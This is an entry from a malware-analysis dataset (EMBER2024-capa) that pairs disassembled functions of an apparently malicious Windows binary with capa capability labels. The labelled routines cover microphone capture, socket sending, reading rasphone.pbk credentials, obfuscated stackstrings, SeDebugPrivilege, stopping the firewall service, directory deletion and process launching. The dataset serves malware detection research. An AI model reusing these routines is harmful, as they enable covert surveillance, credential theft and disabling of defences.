joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402006
Capabilities:
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.msvcrt.dll__fsopen]
push edi
push 0x20
mov edi, 0x401144
push edi
push dword [ebp + 0x10]
call esi
mov ebx, eax
add esp, 0xc
test ebx, ebx
jne 0x4020bd
push eax
push eax
call dword [sym.imp.msvcrt.dll__tempnam]
mov ebx, eax
pop ecx
pop ecx
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x402049
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.msvcrt.dll_rename]
pop ecx
pop ecx
test eax, eax
je 0x40206e
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 2
je 0x402076
push ebx
call dword [sym.imp.msvcrt.dll_free]
pop ecx
jmp 0x402040
push ebx
call dword [sym.imp.msvcrt.dll__unlink]
pop ecx
push 0x20
push edi
push dword [ebp + 0x10]
call esi
mov ebx, eax
add esp, 0xc
test ebx, ebx
jne 0x40208c
push dword [ebp - 4]
jmp 0x402065
push ebx
push dword [ebp + 0xc]
xor esi, esi
inc esi
push esi
push dword [ebp + 8]
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp + 0xc]
je 0x4020a7
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
push ebx
call dword [sym.imp.msvcrt.dll_fclose]
pop ecx
mov eax, esi
jmp 0x402042
push ebx
push dword [ebp + 0xc]
xor esi, esi
inc esi
push esi
push dword [ebp + 8]
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp + 0xc]
je 0x4020b1
xor esi, esi
jmp 0x4020b1

Function at 0x403105
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp + 8]
push eax
xor esi, esi
push esi
push esi
push 0x402bd3
push esi
push esi
mov dword [0x455c34], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
jne 0x403138
push esi
push edi
call dword [sym.imp.USER32.dll_EndDialog]
xor eax, eax
jmp 0x403165
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4559f8
push esi
push 0xc
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
push str.Installing__please_wait_...
push esi
push 0xc
push 0x3f0
push edi
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4051a2
Capabilities:
Execute syscall

Disassembly:
mov eax, dword [sym.SPTDinst.exe_A0DB34FC6FE35D429A28ADDE5467D4D7]
lea edx, [esp + 4]
int 0x2e
ret 0x28
Function at 0x4012bd
Capabilities:
Capture microphone audio

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
mov esi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x401323
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x18], edi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x10]
push ecx
push 4
push esi
push 0x401445
push edi
push edi
call eax
push 0x20000
push edi
push dword [esp + 0x18]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x46]
lea ebx, [esi + 0x18]
push eax
push 0xffff
push ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x401327
xor al, al
jmp 0x401399
lea edi, [esi + 0x30]
mov dword [esp + 0x14], 2
mov eax, dword [edi]
mov ecx, dword [edi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 4]
mov dword [eax + 4], ecx
mov eax, dword [edi]
and dword [eax + 0x10], 0
mov eax, dword [edi]
and dword [eax + 0x14], 0
push dword [edi]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add edi, 4
dec dword [esp + 0x14]
jne 0x401332
mov eax, dword [esi + 0x1c]
push 0x20
push dword [esi + eax*4 + 0x30]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push str.ResumeThread
push str.KERNEL32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esi + 0x2c]
call eax
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInStart]
mov byte [esi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x402cf1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
cmp eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov ebx, ecx
mov dword [ebp + 8], eax
jb 0x402d51
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x402d32
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x402d17
cmp dword [ebp - 8], 0xf
je 0x402d87
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x402d13
cmp dword [ebp + 8], 0
jle 0x402d7f
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x402d76
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x402d5b
cmp dword [ebp + 0x10], 0xf
je 0x402d87
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x402d8a
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x402e2f
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jne 0x402e3f
xor eax, eax
leave
ret
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x402e89
and dword [ebp - 0x14], 0
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
push dword [ebp + 8]
stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 8]
push 4
push dword [eax]
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0x18
pop edi
leave
ret

Function at 0x402e8b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp word [ebp + 8], 0
jne 0x402ec8
cmp word [ebp + 0xc], 0
jne 0x402ec8
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
movzx eax, word [ebp - 4]
add esi, eax
movzx eax, word [ebp - 6]
add eax, esi
jmp 0x402efb
movzx esi, word [ebp + 8]
push edi
call dword [sym.imp.MSVCRT.dll_rand]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, word [ebp + 0xc]
add edi, eax
sub ecx, esi
movzx eax, word [ebp - 4]
add edi, eax
xor edx, edx
movzx eax, word [ebp - 6]
add edi, eax
inc ecx
mov eax, edi
pop edi
div ecx
mov eax, edx
add eax, esi
pop esi
leave
ret
Function at 0x404035
Capabilities:
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x18]
push edi
push eax
mov ebx, ecx
push str.SHELL32.dll
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x47
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x50
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x74
mov byte [ebp - 3], 0x68
mov byte [ebp - 2], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x134]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
nop
nop
nop
nop
nop
push str.Documents_and_Settings_
lea eax, [ebp - 0x134]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x134]
pop ecx
push dword [ebx + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push eax
call ebx
lea eax, [ebp - 0x134]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call ebx
push 0
lea eax, [ebp - 0x23c]
push 0x23
push eax
push 0
call dword [ebp - 0x1c]
nop
nop
nop
nop
nop
push str.wsprintfA
push str.USER32.dll
call esi
push eax
call edi
lea ecx, [ebp - 0x23c]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
push str._s_s
lea ecx, [ebp - 0x23c]
push ecx
call eax
lea eax, [ebp - 0x134]
mov esi, 0x1000
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x23c]
push esi
mov dword [ebp - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x1c], 2
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [edi]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
nop
nop
nop
nop
nop
cmp byte [ebx], 0
mov dword [ebp - 0x24], ebx
je 0x4041c4
push dword [ebp - 0x24]
inc dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x24]
cmp byte [ecx + eax + 1], 0
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x24], eax
jne 0x4041a7
add edi, 4
dec dword [ebp - 0x1c]
jne 0x404184
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0x20]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4041db
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, 0x100
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
nop
nop
nop
nop
nop
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x404238
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x110]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x404238
nop
nop
nop
nop
nop
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x40423c
xor eax, eax
leave
ret
push esi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x404267
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x110]
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x4050eb
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
push ebx
push esi
push edi
push str.GetLogicalDriveStringsA
mov dword [ebp - 0x20], ecx
push str.KERNEL32.dll
mov byte [ebp - 0x784], 0x67
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x224]
push ecx
push 0x100
call eax
xor ebx, ebx
push 1
cmp byte [ebp - 0x224], bl
lea edi, [ebp - 0x224]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
pop esi
je 0x40529f
jmp 0x405153
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x124]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea eax, [ebp - 0x384]
push 0x160
push eax
push 0x80
push edi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x124]
push eax
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0x1c], eax
nop
nop
nop
nop
nop
nop
nop
nop
mov al, byte [edi]
cmp al, 0x41
je 0x405209
cmp al, 0x42
je 0x405209
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x405209
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
push 0x14
pop ecx
call fcn.00415d20
mov edx, dword [ebp - 0x14]
push 0x14
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
pop ecx
call fcn.00415d20
mov dword [ebp - 8], eax
jmp 0x405211
and dword [ebp - 4], 0
and dword [ebp - 8], 0
mov al, byte [edi]
push edi
mov byte [ebp + esi - 0x784], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + esi - 0x783], al
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + esi - 0x782]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + esi - 0x77e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x274]
push ebx
push eax
lea eax, [ebp + esi - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0x1c]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebx + esi]
lea eax, [ebp + eax - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0x1c]
add esp, 0x30
add eax, ebx
push edi
lea esi, [esi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [edi + eax + 1], 0
lea edi, [edi + eax + 1]
jne 0x405151
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x784]
push esi
push eax
call fcn.004094c6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4054cb
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.FindNextFileA
mov dword [ebp - 0x14], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push dword [ebp + 8]
and byte [ebp - 2], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x25c]
push eax
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x2a
mov byte [ebp - 4], 0x2e
mov byte [ebp - 3], 0x2a
call dword [0x41dfb4]
add esp, 0xc
push str.FindFirstFileA
push ebx
call esi
push eax
call edi
lea ecx, [ebp - 0x158]
push ecx
lea ecx, [ebp - 0x25c]
push ecx
call eax
mov dword [ebp - 0xc], eax
nop
nop
nop
nop
nop
cmp eax, 0xffffffff
jne 0x40555b
xor al, al
jmp 0x4055fe
push str.DeleteFileA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x12c], 0x2e
je 0x4055ca
nop
nop
nop
nop
nop
test byte [ebp - 0x158], 0x10
lea eax, [ebp - 0x12c]
push eax
push dword [ebp + 8]
push str._s_s
je 0x4055b0
lea eax, [ebp - 0x464]
push eax
call dword [0x41dfb4]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea eax, [ebp - 0x464]
push eax
call fcn.004054cb
jmp 0x4055ca
lea eax, [ebp - 0x360]
push eax
call dword [0x41dfb4]
add esp, 0x10
lea eax, [ebp - 0x360]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x158]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x10]
test eax, eax
jne 0x405569
push str.FindClose
push ebx
call esi
push eax
call edi
push dword [ebp - 0xc]
call eax
nop
nop
nop
nop
nop
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x405ca0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push str.SetFilePointer
push str.KERNEL32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
push 0
push ecx
push dword [ebp + 8]
push ebx
call eax
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.004094c6
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x406356
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.GetCurrentProcess
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0x14], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push str.AdjustTokenPrivileges
push eax
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x56
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x49
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
call esi
push eax
call edi
and byte [ebp - 0x24], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x30]
mov byte [ebp - 0x30], 0x47
push eax
push ebx
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x4c
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x72
call esi
push eax
call edi
mov ebx, eax
lea eax, [ebp - 0x20]
push str.LookupPrivilegeValueA
push eax
call esi
push eax
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push str.OpenProcessToken
push eax
call esi
push eax
call edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x20
call dword [ebp - 4]
push eax
call esi
test eax, eax
je 0x406467
lea eax, [ebp - 0x3c]
xor esi, esi
push eax
push str.SeDebugPrivilege
push esi
call dword [ebp - 8]
push esi
push esi
lea eax, [ebp - 0x40]
push 0x10
push eax
push esi
push dword [ebp - 0xc]
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x34], 2
call dword [ebp - 0x10]
call ebx
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40646c
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
and byte [ebp - 0x14], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x20]
push str.OpenSCManagerA
push eax
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x56
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x49
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push str.CloseServiceHandle
push eax
call esi
push eax
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push str.ControlService
push eax
call esi
push eax
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push str.QueryServiceStatus
push eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push str.OpenServiceA
push eax
call esi
push eax
call edi
mov esi, eax
call fcn.00406356
push 0xf003f
push 0
push 0
call dword [ebp - 8]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call esi
mov esi, eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [ebp - 0xc]
cmp dword [ebp - 0x38], 1
je 0x406542
lea eax, [ebp - 0x3c]
push eax
push 1
push esi
call dword [ebp - 0x10]
push esi
call dword [ebp - 4]
push edi
call dword [ebp - 4]
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x4083c9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x2f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x4083f1
push esi
push dword [ebp + 8]
call fcn.0040f52b
pop ecx
test al, al
pop ecx
jne 0x4083f5
xor al, al
jmp 0x408431
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push str.DJX_UP
push esi
mov dword [ebp - 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
leave
ret

Function at 0x408434
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegOpenKeyExA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegCloseKey
push ebx
mov dword [ebp - 0x10], eax
call esi
push eax
call edi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x40854f
mov eax, 0x104
xor ebx, ebx
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x168]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0xf003f
push ebx
push str.Applicationsiexplore.exe_shellopenCOMMAND
push connect
call dword [ebp - 0x10]
test eax, eax
jne 0x40854f
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x168]
push eax
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 8]
call dword [ebp - 4]
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40854f
lea eax, [ebp - 0x168]
push 0x41b448
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x40854f
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call edi
push dword [ebp + 8]
push dword [ebp - 4]
call eax
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x60]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x64], 0x44
je 0x408533
mov dword [ebp - 0x5c], str.WinSta0Default
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x168]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
leave
ret